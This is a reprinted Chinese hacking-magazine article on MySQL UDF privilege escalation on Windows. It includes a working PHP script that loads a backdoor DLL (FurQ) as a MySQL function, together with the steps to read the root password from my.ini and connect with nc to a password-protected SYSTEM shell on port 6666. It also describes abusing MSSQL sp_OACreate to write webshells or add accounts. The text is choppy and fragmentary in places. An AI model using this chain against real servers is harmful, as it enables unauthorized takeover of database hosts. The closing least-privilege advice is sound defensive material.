本文已刊登於《黑客防線》2005 年第 7 期,轉載請註明版權與出處。早期公開的 MySQL UDF 漏洞利用自定義函數攻擊伺服器,初期僅有 Unix 版 Exploit 且成功率不高。近期國內高手釋出 Windows 版利用思路,本文詳細實踐從 WebShell 到系統權限的完整鏈條,並嚴謹論證絕對 public 權限下單靠 SQL 無法提權。
CREATE FUNCTION FunctionName RETURNS [STRING|INTEGER|REAL] SONAME 'C:\function.dll';
FunctionName:函數名稱,對應 DLL 內導出函數名。SONAME:DLL 路徑。System("command.com"))同樣可達攻擊效果(FurQ 蠕蟲即非 UDF 格式範例)。mysql 資料庫有寫入權限。%windir%\my.ini 存有敏感資訊,若目標對 %windir% 可瀏覽,極大機率讀到 root 密碼。FurQ.dll,其 Shell 函數會在 6666 埠開啟帶密碼的 CMD Shell(密碼 FurQ)。<?php
$link = mysql_connect('127.0.0.1','root','root'); // 從 my.ini 讀取
@mysql_select_db('mysql');
$query = "CREATE FUNCTION Shell RETURNS INTEGER SONAME 'd:\\wwwroot\\FurQ.dll';";
@mysql_query($query, $link) or die("Create Function Failed!");
$query = "SELECT Shell();";
@mysql_query($query, $link) or die("Execute failed!");
echo "Connect port 6666, password: FurQ";
?>
nc 目標IP 6666,輸入密碼 FurQ 即得 cmd.exe,繼承 MySQL 權限(Windows 下 MySQL 預設以 LocalSystem 服務運行)→ 最高權限。master 資料庫 db_owner、其他庫 public(「相對 public」)時,竟可呼叫理論上僅限 sysadmin 的 sp_OACreate、sp_OAMethod,可無亂碼寫 WebShell 或加系統帳號。sp_add_job 等需 SQLSERVERAGENT 服務啟動(預設關閉),xp_servicecontrol 啟動會報錯。xp_regread 等需建表/插入資料再查詢,但 public 無建表/插入/備份權限,第一關即過不去。public 權限下,單靠 SQL 預存/擴展預存程序拿 WebShell/系統權限絕對不可能。作者實戰:≥90% 網站給預設庫 db_owner 時同步給 master db_owner;僅 2-3 個用戶資料庫時 100% 給予。因此「相對 public」極具實戰價值。
db_owner,更勿給 master 權限。MySQL UDF 提權與 MSSQL 異曲同工,核心在於權限配置失誤。資安人員應回歸基本面:最小權限、參數化查詢、纵深防禦,而非賭攻擊者不知某招。